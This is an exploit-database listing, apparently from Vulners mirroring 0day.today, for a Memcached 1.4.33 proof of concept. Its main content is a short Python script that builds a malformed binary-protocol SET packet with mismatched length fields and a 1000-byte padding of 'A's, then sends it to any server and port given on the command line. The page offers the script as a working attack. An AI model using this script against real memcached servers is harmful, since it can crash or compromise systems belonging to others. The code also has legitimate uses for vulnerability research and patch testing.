Lucene search
K

Memcached 1.4.33 - PoC (3)

🗓️ 03 Nov 2016 00:00:00Reported by p0wd3rType 
zdt
 zdt
🔗 0day.today👁 21 Views

PoC for exploiting Memcached 1.4.3

Code
# Source: http://paper.seebug.org/95/
 
import struct 
import socket  
import sys
 
 
MEMCACHED_REQUEST_MAGIC = "\x80" 
OPCODE_SET = "\x21" 
key_len = struct.pack("!H",32)  
body_len = struct.pack("!I",1)  
packet = MEMCACHED_REQUEST_MAGIC + OPCODE_SET + key_len +   body_len*2 + "A"*1000  
if len(sys.argv) != 3:  
    print "./poc_sasl.py <server> <ip>"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((sys.argv[1],int(sys.argv[2])))  
s.sendall(packet)  
print s.recv(1024)  
s.close()

#  0day.today [2018-01-10]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Nov 2016 00:00Current
7High risk
Vulners AI Score7
21